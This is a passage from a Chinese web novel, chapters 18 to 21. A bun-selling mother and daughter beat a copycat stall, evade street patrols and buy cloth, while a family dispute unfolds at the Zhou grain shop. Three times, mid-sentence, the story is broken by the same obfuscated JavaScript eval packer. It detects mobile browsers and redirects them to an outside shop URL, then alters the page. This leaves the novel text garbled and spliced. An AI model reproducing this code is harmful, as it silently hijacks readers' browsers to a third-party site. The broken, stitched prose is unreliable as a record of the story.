姜宁揭开一个蒸笼盖子，露出里头热气腾腾胖嘟嘟的包子，清脆脆的喊：“卖包子嘞，卖包子嘞，草木清甜的苏子包，肉嫩多汁的鲜肉包，好吃不贵，才三文一个，哥，买一个呗，边吃边走，吃饱了肚子，孩子读书精神百倍，明年下场中秀才哩！” 被他喊哥的男子，孩子是十岁左右的半大小子，鼓鼓囊囊的身子套在一件绸衣里，被他爹提留着后领往学堂赶，闻到香味，瞌睡瞬间没了，犟着脑袋不愿走，喊着肚子饿。 男子踹了儿子一脚，扭头瞅一眼蒸笼里，没好气道：“不就是肉炊饼么，叫什么包子！来一个吧。” 姜宁手脚麻利，带上白布手套，指着蒸笼里，微笑询问：“有苏子心的，肉心的，都是三文一个，您要哪种的？” 男子从袖袋里摸出三文丢给她，撇了撇嘴：“肉的！” 姜宁也不恼，抬起小钱篮子接了铜钱，手脚快速的用锅铲铲了一个肉的到荷叶上，包好双手递给他，嘴里提醒：“我家肉炊饼里一开始包了铜子，所以街坊们都叫我家炊饼做包子，这个是我家祖传秘方做的破酥包，一夹就破，您拿好了，好吃再来！” 男子抬眼看了她一眼，嗯了一声：“原来是你家！” 在家听母亲念叨过，街上有一个壮实光头妇人的苏子炊饼好吃，可惜是个流动摊贩，想吃的时候，找不到人。今日倒是凑巧，一会买几个苏子的带回去给母亲。 他把包子塞给儿子，小胖子接过包子，揭开荷叶，顺着包子中间裂开的地方咬了一嘴，瞬间鲜美醇香充满了口腔，他的眯眯眼睁大，变成了杏眼，真好吃！ 小胖吃水不忘挖井人，举着手讨好的问他爹：“很香诶，你咬一嘴？”…… 他爹又踹他一脚：“少来，只一个，没多的了！”大儿子从小心眼比肉多，每次想多吃一个，便把好吃的东西巴巴捧到大人面前，借着大人感动的时刻，他乘机提条件，要求更多。 被踹的小胖手一抖，咬了一嘴的包子掉到地上，啪一声，碎成了片。 小胖天都塌了，瞪大了眼睛跪在地上，嚎啕大哭：“呜哇，我的包子，我的破酥包，我可怜的破酥包，你赔我的破酥包！” 18. 第 18 章 “呜呜呜，你赔我的破酥包！”十岁左右家里娇惯的男娃子，正是没脸没皮不会害羞的时候，为了一口吃的，可以撒泼打滚，到嘴的美食碎成了渣，他觉得自己的心，也碎成了渣，疼死了。 他探出小胖手，像向以往那样捡起来，落地三秒不沾灰，可是左一块，右一块，地上一块我一块，地上没灰我有灰，哇，他再也忍不住，伤心哭起来！ 男子简直要被气死了，太阳穴咚咚的跳，家里求奶奶告爷爷耗费精力，在西云书院给这个浑小子弄了个名额上学，他倒好，每次都是睡到临上课，他匆匆忙忙送了来，现在为了点吃食，大庭广众撒泼打滚毫无体面，火气顺着气血冲到头顶心，他抬脚便踹。 一旁的姜宁在小胖子嚎啕大哭时，发现周边步履匆匆的行人，驻足观看，早有人对着男子窃窃私语，指指点点，风里不时飘过破书包，穿着体面，绣花枕头表面鲜等词。 眼看男子动怒，小胖要糟，姜宁眼疾手快拖起小胖，高声道：“莫哭莫哭，是我家包子错，都怪包子太酥香，一掉就碎，来，我重新给你包一个，油水充足，吃完精神饱满去念书，明年就是秀才公哩！” 其实一出脚，男子便后悔了，这一脚火气十足，要是踢中了儿子，不得青一块紫一片，事后心疼不说，晚间回家混小子找母亲学舌，自己免不得吃一顿挂落。 他看一眼姜宁，想不到这个光头黑小子挺机灵，家里不缺那么几文钱，是儿子没拿稳，没得凭白占人便宜的道理，就着台阶下：“还不谢谢这个哥哥，好好捧着，若掉了，我是再不给你买的。” 儿子忙不跌的点头，哦，这小子烧鸡肥鸭没少吃，都没有今日这么执着，他瞟一眼蒸笼里胖墩墩白润润的包子，灵机一动道：“若今日能背下一篇文章，晚上回来让你吃个够.” 随手从袖袋里满满抓了一把铜钱，对着两人点头示意了一下：“刚才的一个，剩下的铜钱，苏子包和破酥包一样一半，我一会来取。” 提着书袋拨开人群抬腿便走。 小胖立马止住哭声，破涕为笑，对着姜宁小声道：“哥哥，悄悄多装几个肉的，香，我爱吃，我保证今儿能背下课文！”对着两人挤出一抹笑，双手紧紧捧着包子，屁颠颠小跑跟着男子后面，不时停下脚步咬上一口，满足的眯着眼陶醉一会，然后再继续小跑跟上。 姜宁乘机捡起地上破碎的包子，掰开肉馅，露出一大块鲜嫩的肉馅，解释：“刚才的小书生不是书包破了，是喜爱我家的破酥包，皮酥肉香，那位大哥是个疼孩子的，一口气买了一二十个，回家蒸一下便能吃，管饱又美味，省事省力。 也可以在这里趁烫吃，更是鲜美，大家快来尝尝，晚了没有了哦。” 有人认出了男子笑道：“哟，那不是冯家布料行的掌柜么，他家天天吃香喝辣的，也喜欢这野摊子的包子啊，想来错不了，尝一个！” 姜宁对着姜氏眨眨眼，伸出大拇指，想不到阿娘这么厉害，提前请了托呢。 有了这一桩小插曲，大家对摊子的破酥包相当感兴趣，买一个尝尝，发现味道真的很美，大家有了小胖的前车之鉴，左手稳稳捧着包子，右手犹如揭荷花花瓣一般慢悠悠剥面皮，一层又一层，分层塞进嘴巴，面皮酥软弹韧又不像炊饼噎人，最后露出犹抱琵琶半遮面的肉馅，吸一口，竟然一点猪臊味都没有，只剩下肉团的嫩香，油脂的淳厚，汁水的清甜，难怪人家眼不眨便掏出一把钱买。 吃完的客人，丢了荷叶便又挤进人群，去重新购买，有买两个作午饭的，也有买了带回家给家人尝一尝的，还有的想用这个哄孩子背书的，三文钱一个，成人男子拳头大的一个白面炊饼，里头还含着鸽子蛋大的肉馅，再划算不过。 不到半个时辰，姜宁两人带来的三百个破酥包被抢购一空，后头排队的客人，听闻没有破酥包，干脆有啥买啥吧，顺带着一百个苏子包，一百个灰面炊饼销售殆尽。 全部卖完，另有六个排队的客人，姜宁拱手道歉，连连陪不是，说了许多好话，保证明日还来这里卖，提前帮他们留好，几人报了个数，亲眼看着姜宁用炭笔记下，才遗憾的离开。 等人走完，姜宁从车上拿出个旧篮子，把地上的荷叶捡干净，姜氏用车上带的扫帚打扫了一遍周围，疑惑道：“奇怪，小胖掉的包子不见了？” 姜宁也没看到：“许是被哪个客人捡回家喂牲口了吧。” 姜氏有些心疼：“哎哟，早知道我提前捡了回去喂鸡，家里鸡最近下蛋少了呢。” 姜宁失笑：“家里鸡吃虫子都吃得挑嘴了，才不吃你拿回去的包子。”鸡不是下蛋少，是因为天天吃，没攒下鸡蛋，所以感觉没下蛋。 十八个，不，加上巧儿，十九个萝卜头天天在家捉虫子，争着当两只小鸡的亲爹亲娘，比着赛的喂鸡。 哦，小学堂那个小胖因抓的虫子少，从家里悄悄带了一裤兜菜青虫来，被他自己一屁股坐死了，哭得那个伤心欲绝。 姜宁哄着说，死虫子小鸡更爱吃，因为人也要把猪杀死了煮着吃才美味，他方不哭了，不过，小胖要求姜宁帮他煮虫子喂鸡，让小鸡也感受一下美味。姜宁看一眼绿油油的汁水模糊的虫子尸体，yue了一下，觉得小胖还是继续哭吧。 哭哭更健康。 最后是苏慎承担了所有，被哭得顶不住，弄了个破陶碗，放了些水，带孩子们上了一节生动的煮虫子课。 嗨，也不晓得这淘气包从哪弄那么多菜青虫。 两人打扫干净地方，脏了的荷叶捆在车上拿回去沤肥，收拾利索后，看着车上装好的二十个包子，疑惑不已，那个大哥也是，给了我们六十三文钱，怎们不来拿包子呢，难道忘了？ 两人坐着等了半个时辰，实在等不得，姜宁起身道：“阿娘，我那会好似听见有人说，他家是冯家布料行的，不如我们附近的布料行找找看，直接送过去吧？” 在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997380|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傻等也不是个事，还要清点今日的铜钱，买明日的原料，事情多着呢。 就这么回了家，小胖背熟了课文晚上回家没得破酥包，不晓得怎么闹呢。 人家帮了自己开了个好头，姜宁对小胖印象比较好，不愿意他失望。 而且，她要买蚊帐，她快要被蚊子咬死了，简直防不胜防，今日必须买。 两人推着车顺着路胡乱逛，也是冤家路窄，竟然遇到熟人，你道是谁，原是姜氏老主顾寇嫂子，和一个眼熟壮实的妇人。 两人推着崭新的独轮车，上头摆放着三个大蒸笼，几个篮子，独轮车两边也挂了些柴火，乍眼一看，和自家的摊子大同小异。 两人脑袋上裹着头巾，周围围着一圈客人，寇嫂子满大街嚷嚷：“快来买，快来尝，发财炊饼摊的白玉盘米糕，香甜可口，味美价廉！” 这几日，大家和亲戚邻居闲聊，都在传发财炊饼摊的发财炊饼松软香暄，苏子包有独特的草木清香，甜而不腻，听到寇嫂子这么一喊，纷纷驻足围观，解囊要求买苏子包。 蒸笼面前的妇人接过钱，神色自若解释：“呀，苏子包卖完了呢，只有白玉盘了，味道一样好，我给你装一个。” 大多食客也不计较，点头道好。 其中一个干瘦老汉接过她递来的白玉盘，撕下一块急切的塞到嘴里，不过普通的米糕，甚至有些发酸，他呸一口吐掉，要求退钱。 “吹得天花乱坠，味道一般也就罢了，竟是放坏的，快，退钱！”他张嘴嚷嚷，露出豁口的牙，里头黑洞洞的，好似他的心情。 本来缺牙吃不下饭，听说这家摊子的烧饼松软味美，特意寻来，哪知踩了个大坑。 大部分食客裹了荷叶离开，听他这么一说，驻足掏出荷叶揭开，凑着米糕嗅，果然闻到一股淡淡的酸味。 妇人委屈，和老汉辩解：“确实是今早现蒸的，没有放坏，米糕本来就要发酵，带着一股淡淡的酸味，你自己没吃过米糕不晓得其中原理，莫要诬陷好人！” 老汉怒了：“少瞧不起人，什么叫没吃过米糕，告诉你，内城的福云酒楼，老汉都吃过八百回。” “就是你家米糕不好吃，快还我钱！” 妇人嗤笑：“福云酒楼，不是福云饭庄吗？在我姐家附近，他家是饭庄，不卖酒，这样说莫要让人笑掉大牙。 你问问街坊，吃过我发财摊子的炊饼，哪有不夸的，就你认为不好吃，那是你舌头有问题，你该去看大夫，走走走，赶紧走，莫要挡着我做生意！” 老汉凌乱了，陷入自我怀疑，难道真是自己舌头有问题？ 姜氏想起这人是谁了，是韦婆子的弟媳，韦氏点心铺子的老板娘席氏。 她嫌弃的撇嘴：“难怪他家生意半死不活，就这样和客人吵架的老板娘，生意能好，那才稀奇！” 姜宁深深叹了口气，我的阿娘嘞，是吵架的问题吗，是自家炊饼摊子被盗版了。 19. 第 19 章 被姜宁提醒，姜氏反应过来，好家伙，难怪觉得哪里不对，原来是照搬老娘的摊子。她撩起袖子便上，一把推开寇嫂子，抬脚踹在推车上，上头的捆着的木柴被踹得乱飞，散得满地都是。 寇嫂子不是吃亏的主，正要打回来，扭头看见是她，自知理亏，讪讪缩到一边：“是你啊！” 席氏堵在她面前：“干什么干什么，哪来的泼妇，仗着力气大，砸我摊子啊，有没有王法的，快来人啊，谁帮我去叫巡街！” 姜宁清脆的声音对着周围看热闹的街坊解释：“大家快来看看，我家的摊子才是真正的发财炊饼摊，卖叶城独一无二的苏子包子，今日还出了新品破酥包，早卖完了，她故意装扮成我家的炊饼摊子，用难吃的米糕，哄大家的铜子！” 姜宁拉着豁牙的老汉：“大爷，你舌头没问题，我家的米糕酸中带甜，甜中回香，真的很松软可口，今儿全都卖完了，只余几个客人预订的，送你一个尝尝！” 说着她当众掰开一个苏子包，露出里头焦黑色的糖心，空气中瞬间飘出一股草木的甜香。 “你要爱吃白玉盘米糕，我家以后固定在西云书院门口摆摊，你只管去那里寻我们，你看，我娘没头发，我也没头发，千万不要找错摊子啦，免得被人骗。” 大家指指点点，交头接耳，恍然大悟：“是啊，就这这个妇人，她没有头发，她才是真的发财炊饼摊老板。” 原来她家改在西云书院门口摆摊，今日没在这里卖，便被人钻了空子。 骗子，卖假货，怪不得一股子酸味，大家围到席氏推车前，要求退货。 吃到肚子里的钱，哪里有吐出来的道理，席氏面上一阵焦急，紧紧捂着钱袋：“你们这些人，好没道理，我说了，我家是发财炊饼摊子，你们便自己来买的，又不是我拿刀逼你们买的，米糕都被你们捏过了，入口的东西，哪里还能退，不退不退，赶紧走!” 正攀扯着，三人小队的巡街来了，大家七嘴八舌的说明了原因。 对于故意抄袭的事，席氏抵死不认，翻个白眼：“她家叫发财炊饼摊，我家也叫发财炊饼摊，这有什么奇怪的，街上那么多人，总有同名同姓的，难道律法规定了不能叫一样的名字，真是矫情！” 巡街小队头子被她一顿抢白，面上很不好看，皮笑肉不笑：“是没规定不能叫一样的名字，但是客人买了你家米糕，完好无损当场要求退货，按照规定，你必须退给他们！ 还有，摆摊要到菜市场，谁准你在这里摆摊的，吵闹到附近的街坊，弄脏了街道，还阻碍了大家伙通行，除了退还客人的钱，罚金五十文！” 要老命了，不仅要退款，还要罚钱，席氏嚎叫着去挠巡街头子，巡街头子后退一步避开，抽出腰间弯刀招呼身后的伙伴：“兄弟们，刁民闹事，来呀，抄了她的摊子，带回去衙门处理。” 他身后两个巡街，有去抱蒸笼的，有去推车的，席氏忙着护推车，忙着抱蒸笼，左支右绌，连忙认错求饶：“官爷，我错了，我真的错了！我交罚金，我交！” 头子讥笑：“早知事些不就完了。行吧，交一百铜钱罚金，长长记性。” 呵，又涨了五十文。 席氏正要辩解，被头子冷冰冰的眼光一刺，吓得哆嗦了一下，低了头掏出钱袋，颤着手数出一百罚金，双手捧给巡街头子，又在巡街的注视下，老老实实退给食客铜钱，看着比早上出门还扁的钱袋，她眼中满是嫉恨：“官爷，另外那个发财炊饼摊子没在菜市场摆摊，是不是该收他们的罚金？” 巡街头子扬起眉毛，冷哼：“怎么，你还教起爷做事了？你老实把这儿打扫干净，我自会去寻她们。” 他掂了掂手里的铜钱，对着身后两人挤眉弄眼：“走，兄弟们，我们去寻另外两个刁民。” 姜宁早在头子说交罚金的时候，暗道不好，拉着姜氏跑了，两人推着车，一口气逃回家，两人呼哧呼哧的喘着气，相视一笑。 幸好幸好，今日不仅让不要脸的席氏受到了惩罚，自家还逃过一劫，免了五十的罚金。 缩在房间里，两人清点今日的铜钱，共收得1200文，材料成本去掉一半，利润600文，加上前几日攒的，他们现在已经有2800文。 姜氏赞道：“还是你机灵，去书院路口，才一个时辰就全部卖完，往日我需卖到中午才完，可惜了，那么好的位置，明天不能再去摆摊。” 姜宁诧异：“为什么不去？” “巡街不是说不准在街上摆摊么？” “他说不准就不去啊，我们一天能赚600，必须去。叶城那么大，若不去专门找他们，他们不会巡到我们头上的，再说，等他们到衙门值房画押再出门巡街，我们早卖完回家了，放心吧，只要我们把地方收拾得干干净净，他们不会来故意找茬的。” 姜氏不确定：“这样可以吗？” “放心吧，就算被他们抓住了，我们好好求饶，认着交五十的罚金，不然搬到菜市场，昨日好多老主顾又找不到我们了。” 锁好钱箱，姜宁哄着姜氏去买蚊帐：“阿娘，我们买一顶蚊帐吧，夜里蚊子翁嗡嗡的，睡也睡不好，累的慌！” 姜氏本想拒绝，家里银钱紧张，能多攒一文是一文，抬眼看着姜宁眼下的青黑，沉默了，女儿每天凌晨起床揉面做饼，夜里睡不好，时间长了熬不住的，她纠结了一下，道：“我们去布料行看看，买布料回来自己做一顶蚊帐吧。” 自己剪裁几片缝起来，应该不难。 姜宁不信任的看着她：“你能缝吗？”姜氏砍柴剁肉一把好手，菜刀舞得飞起，补个衣服能补得歪歪扭扭，别到时候缝了漏蚊子，白瞎了布料。 姜氏老脸一红：“你姐在这，让她缝。” 统一意见后，姜氏挽着篮子领着姜宁去找魏婆婆，打探哪家布料便宜实在。 魏婆子一听，双手拍在大腿上：“巧了不是，陈婆子家卖着布料，我儿子时常从他们家进货，弄些小瑕疵但便宜处理的布料，自己用实惠不过，走，我带你们瞧瞧去！” 三人一路说着闲话，走过三条街，便到了一家两间铺子后院，魏婆子高声敲门：“陈大姐，陈大姐，开门！” 不一会，院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001242|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门嘎吱打开，陈婆子让了进去，听说她们的来意，领着到了后面一间仓库，打开锁道：“这些布料运来的时候路滑翻了车，被雨淋过，及时晒干了，但有的掉了色，有的染了雨渍，正打算便宜处理了，你们要看得上，我折价给你们。” 姜宁展眼一看，木头架子上堆满了各色苎麻布和棉布，少量几匹绢，她们外裳是之前做的绢布，邹巴巴的，姜氏看着一批浅青色的绢布挪不开眼，上头些微有些黄渍，要是能洗掉，够给两个女儿加巧儿各做一套衣裳了。 看到她的目光，陈婆子拿起布料展开笑道：“这上头的污渍，是雨水弄得，也许洗的掉，要不你们带回去试试，若是洗不掉，把它缝在看不见的地方，也是极好的，正常卖价600文一匹，都是熟人，我只要你们400文一匹。” 姜宁指着浅灰色的苎麻布问：“那个多少文一匹，够做蚊帐吗？” 陈氏解释：“我们老百姓做蚊帐，用细苎麻布最好，透气又防蚊子，200一匹，若是配三尺小床，足够的，若是配五尺双人床，需一匹半。你们不如挑两匹，做完蚊帐还能做外裳，特别耐磨耐脏，若是要，我收你们300两匹。” 姜氏板着手指头算，这几天女儿儿子长高了些，小衣短了许多，该重新做一套，她捡了一匹有些缩水的棉布询问：“这个价几何？” 陈婆子满嘴生花：“这些是顶软的白叠布，做成里衣柔软吸汗，正常卖300一匹，你们要是要，我收200一匹。” 姜宁挑了两匹浅灰色的细苎麻布，一匹白棉布，姜氏有意想要青色的绢布打扮女儿，被姜宁劝住：“这样好看清爽的颜色，我们现在买了也穿不了啊。” 她日日干活，出门的时候做男装打扮，白瞎了那么清浅的颜色。 最后又选了批墨蓝色的苎麻布做外裳，合计550文，被魏婆婆一通讲价，压到500文，顺便讨要了两颗缝衣针，配套的缝衣线各一条。 陈婆子假装生气：“我已经是折本卖给你们的，可莫要再讲价了哈！” 说完正事，姜宁找她打听：“陈婆婆，你知道附近有家冯氏布料行么？” 陈婆子一愣：“哦，认得啊，你找他们家做什么？” 姜宁从篮子里掏出包裹好的破酥包：“嗨，他们家有个男子，今早从我娘摊子上买了些包子，忘记取了，我正打算送去呢。” 一旁的魏婆婆哎哟笑道：“真是个傻孩子，你陈婆婆家便是冯氏布料行！” 陈婆子笑道：“真是大水冲了龙王庙，今早阿远回来说给我买了包子，但他送完大孙子，忘记去取，懊恼了半天，原来是你家，可真是缘分。” 姜宁也吃惊不已：“啊，那，早上那个十岁的胖子，和我们小学堂的小胖子都是您孙子啊？” 陈婆子拉着她的手，很是感激：“可不是吗，今早跟着我儿子那个，是我大孙子大胖，你们家学堂里是我小孙子二胖，我得谢谢你，二胖回家能背思故乡，大胖气不过，这些天和他弟弟比赛，会背五六首呢，等着十天完了，再让二胖学上一个月，你只管放心的管，我是顶顶支持的。” 20. 第 20 章 姜宁喜滋滋抱着细苎麻布，计划着蚊帐的缝制，姜氏抱着剩余的布料，魏婆婆帮忙提着空篮子，嘴里劝说道：“嗨，她家经常有处理的瑕疵布，兜里有铜子，随时可以过来的，莫要心疼啦。” 她试探着问姜氏：“适才陈婆子说还要续交学费，你们愿意继续办小学堂么？” 姜氏茫然啊了一声，支支吾吾半天才道：“可能不办了，我们要回我娘家。” 魏婆婆感觉错过了一个亿，若小学堂正常开办，每日便有80文入账，可惜了。 她倒是想自己办，问题是她不会背诗，做饭勉强入嘴，那些娃儿肯定不会买账，她咬着后槽牙，思绪飞转。 正走着，迎面遇到早上的三个巡街，领头的扭着身子和身后的人说话，跟着的一个矮巡街指着她们，命她们站住。 姜氏傻了，凑到姜宁耳边：“还跑吗？” 姜宁无语，她倒是想跑，跑得掉吗？ 三人老老实实站着，等巡街的走近。 带头的巡街头子冷面喝道：“有人举检你们在外面摆摊，摆摊可以，必须去菜市场，莫要挡了道，这次便算了，下次抓住定要收缴摊子，记住了！” 巡街头子重重抬起，轻轻放下，姜宁乖巧点头：“是是是，大人，草民们一定谨记在心！” 巡街头子笑了：“叫什么大人，叫我卢都头就是。” 待她们走远，适才叫住她们的巡卒疑惑：“卢哥，干嘛不收她们罚金！” 卢都头斜乜着他讥笑：“抓贼见赃，捉奸捉双，你又没亲手抓到人家的摊子，你罚人家什么钱。” 矮个面嫩的巡街刨根问底：“那我们明早去堵她们？” 卢都头踹了他一脚：“六子，你才来不懂，我们做这一行的，打交道的大都是身边的街坊邻居，你这样，迟早把人得罪完，以后还如何在城里混。记住，得饶人处且饶人，睁一只眼闭一只眼就过去了。” 手底下的新人，以后要跟自己共事半辈子，他细心教导：“杨小六，你看那妇人，面上全是风霜，衣裳洗的发白，手掌布满厚茧，身边小子裤脚衣袖短了一寸，想来家里日子艰难，摆摊是为了弄口饭吃，不容易。 我们那会不是巡到西云书院附近，你发现没，路口那里干干净净的，地上树叶都没一片，比其他地方整洁干净，说明人家收拾摊子后主动打扫地方了，这样乖觉，只要不撞到我们面前，糊弄过去就是。” 杨小六不服气：“哥，你看走眼了，她们买了好些布料的，明显是摆摊赚了大钱。” 卢都头指点：“你只看见布料，没看清全是瑕疵布，穷人也要过年，人家起早贪黑弄几个钱，做身衣裳过节，应该的。” 杨小六语气带了三分不赞同：“今早晨那个妇人，你张口便收人家一百罚金。都是摆摊，处罚不一样，老百姓们能信服吗？” 卢都头掰开揉碎：“今早那个妇人，穿着半新不旧的绢衣，崭新的推车，估摸看人家生意好，犯了红眼病，故意学人，本就是她不对。 学人都学不好，惹了众怒，堵了街道，把街道弄得乌七八糟的，我本想教育几句算了，她倒是蹬鼻子上脸，这种人，家里有几分薄产，最是经济市侩欺软怕硬，重重罚她，她才会老实几天。” 他压低了声音，指了指内城：“使馆里住着贵人，听说最近不顺畅，上头正在打嘴仗，寻人撒气，我们要大事化小，小事化了，把一切可能变大的冲突在萌芽间掐灭，莫把自己撞到墙口上。” 杨小六若有所思，和身边的另一个巡街李东频频点头，表示受教，拱着他晃悠悠走远。 这边姜氏等人回到家，寻来苏悦，说了自己的要求，两匹浅灰色的细苎麻布裁剪做成蚊帐，剩下随苏悦自己发挥。 到了傍晚吃过饭，苏悦便缝好一顶蚊帐，姜宁找魏婆婆要来四只竹竿绑在床脚，挂起蚊帐，瞬间在大松木床上撑起一片幽暗的空间，钻了进去把蚊帐边角压在褥子下，四周都是干净平整的浅灰色，不用看黑黝黝的房顶，不用听翁嗡嗡的蚊子叫，不用担心乱爬的蜘蛛，真好，她眼睛慢慢合了起来，终于睡了来到这个世界的第一个好觉。 在姜宁进入甜美梦乡的时候，韦婆子被弟媳席氏推着新的独轮车找上门，闹着要她赔钱。 席氏回家后掰着手指头算账，越算越窝火。 家里点心生意一日不如一日，开着铺子一整天，卖的点心赚的钱堪堪够一日开销，攒不下个铜板，大儿子已经娶妻，小儿子到了说亲的年纪，到处都是钱，她焦得头发一把一把掉。 昨日大姑姐回家，帮她出主意，让她买个推车学发财饼摊那样，带着点心上街叫卖。 发财炊饼摊最近名声大噪，靠着标新立异把米糕弄成小盘子大小，换了个名字叫白玉盘，抢走了她家许多生意，她心里正不岔，一拍即合，加急找木匠花了五百文弄了个新推车，寻到歪坑巷请寇嫂子花了三十文帮忙叫卖，被罚了一百文，卖出去的米糕全部被退了货，有几个被吃过，不能再售卖，亏了二十文，昨日合计搭进去650文，这钱不能她一人亏，都怨大姑子瞎出主意，要不是大姑姐，她在家老老实实呆着，哪里会亏钱，黑灯瞎火推着车上了周家粮铺。 媳妇阿娘两人置气，媳妇被岳母带走，阿娘嚷嚷着头疼，他这两日，既要忙铺子里的生意，又要照顾老娘，还要生火做饭煮粥熬药，间或牵挂媳妇闺女，一日没得个清闲的时候，今日关了门，正在厨房里烟火缭绕的给老娘熬药，门被拍得砰砰响，他以为是哪个客人要粮食，围裙没摘就去开门，打开一看是怒气冲冲的舅母，他顿时心里烦恼，耐着性子客气道：“是舅母啊，是来看阿娘吗？她只是老毛病，偏头痛犯了，怎好劳烦你跑一趟！” 席氏冷哼：“我不是来看她的，是来找她要钱。” 三言两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005814|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语把摊子的事说个明白，然后伸出手：“我也是讲道理的人，不全要她赔，这门生意是我和她两人一起做的，算我倒霉，但车子我是不要了，推来给你家，反正你家拉粮用得到，喏，五百文，拿来吧。” 面对突如其来的负债，周鑫傻眼了，而后肚子里翻滚起满腔的怒气。 一直听阿娘念叨舅母混，没想到混成这样。 他耐着性子好声劝道：“我家拉粮用的是四轮大车，小车用不上，舅母还是推回去吧。 我娘也是关心你家点心生意不好，帮忙出主意，最后做决定的是你自己，亏钱了来找我家，那赚到钱了，你能分些给我家么，舅母，没有这样的道理。” 席氏不愿意，一把推开他，进了屋里去找韦婆子：“我跟你个小辈说不清楚，我和你娘去说。” 她咚咚咚冲到韦婆子床前，看见满脸蜡色的头上裹着头巾的韦婆子，诧异了一下：“哟，阿姐，昨晚你去我家还好好的，怎们一天不见，你就病成这样？” 她转而数落起身后的周鑫：“你怎们照顾你娘的！你媳妇呢，还不叫她来服侍你娘？” 装了一波好人，她又道：“阿姐，周鑫也在这儿，你亲口跟他说，昨日是不是你让我做个独轮车卖点心，还教我在独轮车四周挂上木柴，还教我去找寇嫂子叫卖，哎，我听你的办法，果真卖掉好几蒸笼的米糕，可惜后来巡街来了，说不准在街上摆摊，罚我退了食客的钱，还罚我一百罚金。 你看，你教我摆摊，怎也不打听清楚，这是不合规矩的事。 我昨日亏了六百五十文，我也不要你赔，这独轮车你买了，反正你家可以用来送粮食。” 说完她看着韦婆子，等她掏钱。 韦婆子在她叭叭叭说的时候便不停的摆手，等她说完了，韦婆子讪讪道：“你舅舅家铺子不容易，给她吧。” 周鑫一肚子火气：“谁爱给谁给，我没有！”甩手摔门去了厨房。 韦婆子起身从箱子里数出五百文递给席氏，席氏捧着钱，心口没那么疼了，敷衍两句早知道你生病，带上点心来看你之类的话走了。 还有一百五十文的缺口，不晓得去哪里找补。 韦婆子把独轮车推进门，关好院门，磨磨蹭蹭进了厨房，厨房里小茶炉上药罐子噗嗤噗嗤熬着药，扑出来的药汁几乎要把火扑灭，整个厨房都是苦涩的味道。 半明半灭的火光印在周鑫的脸上，有些看不真实。 韦婆子解释：“不过几百文钱，你舅舅家饭都快吃不下去了，就是白送过去接济他们，也是应该的，更何况，你舅母还送了独轮车过来，一家人，你莫要小家子气。” 周鑫气笑了：“是几百文的事吗，你好好的，你瞎出主意让舅母弄摊子做什么，还有，昨晚你说你头疼，把我支使去买药，结果呢，你去了舅舅家，让他做了一个跟岳母家一样的摊子，是不是？” 21. 第 21 章 儿子一声声的质问如同战鼓，重重敲在韦婆子的面皮上，把她面皮敲得一阵白，一阵青，一阵红。 她辛苦养大，懂事孝顺的儿子，竟然为了这么点小事和她吵架，和舅舅家生分，全是苏悦挑拨的。 韦婆子恼羞成怒：“就她苏家，一家子泥腿子，还想翻身做城里人，痴人做梦，我就是要他们家做不成买卖，不行么？ 苏悦天生当丫头的命，怎么，你还想为她出头，取了媳妇忘了娘不成？” 她想了想，又温声哄道：“儿啊，天下好女人多的是，我本来想熬几年，等她离开了，给你重新说个好生养的媳妇，生上几个男娃，我们一家和和美美的过日子，如今她自愿离家，正好不过，我们写上一封休书，让她趁早滚蛋，你放心，三天，只要三天，我便给你寻个更俊更疼人回来！” 周鑫不敢置信的看着面前的韦婆子，她说这些的时候，面上全是算计和得意，和他印象中那个温柔体贴的阿娘判若两人。 周鑫痛苦的闭上眼：“阿娘，我只要苏悦和巧儿，他们是我的妻，我的亲骨肉。” 为了让韦婆子不再刁难苏悦，他胡诌道：“男娃不男娃的，你趁早死了这份心，我去看过大夫，生不出男娃的原因是我，不是阿悦。” “我去找岳母道歉，若你真不愿和苏悦和睦相处，便把我一起赶走吧，反正也我生不出男娃来！” 周鑫撂下话，气冲冲推着独轮车出了门，他想着，把这个独轮车送给岳母，算是赔礼，免得她还要租借人家的车。 他一路走到东门，天黑路上人少，寻不到人问，他盲目的在东城门附近，一条巷子一条巷子的找。 东城几乎走过一半，依旧没找到，他有些失望，站在路中间发呆，不晓得该去哪里寻。 前面一对夫妻急匆匆的往一条巷子里赶，一边小跑一边互相埋怨对方不去接小宝，埋怨里透着亲昵，他不经想到苏悦，才成婚那几年，他们也是这样，吵闹亲近，不自觉跟着走了两条巷子，远远的，他好似听到了巧儿轻快的笑声。 周鑫来了精神，急忙靠近，远远的，苏悦拉着巧儿站在门口，和那对夫妻笑着说话，巧儿欢快的和一个扎小辫的女孩说着什么，他在家从没看见苏悦这样笑过，自在舒心。 他看了半响，等那对夫妻走了，他才上前敲门。 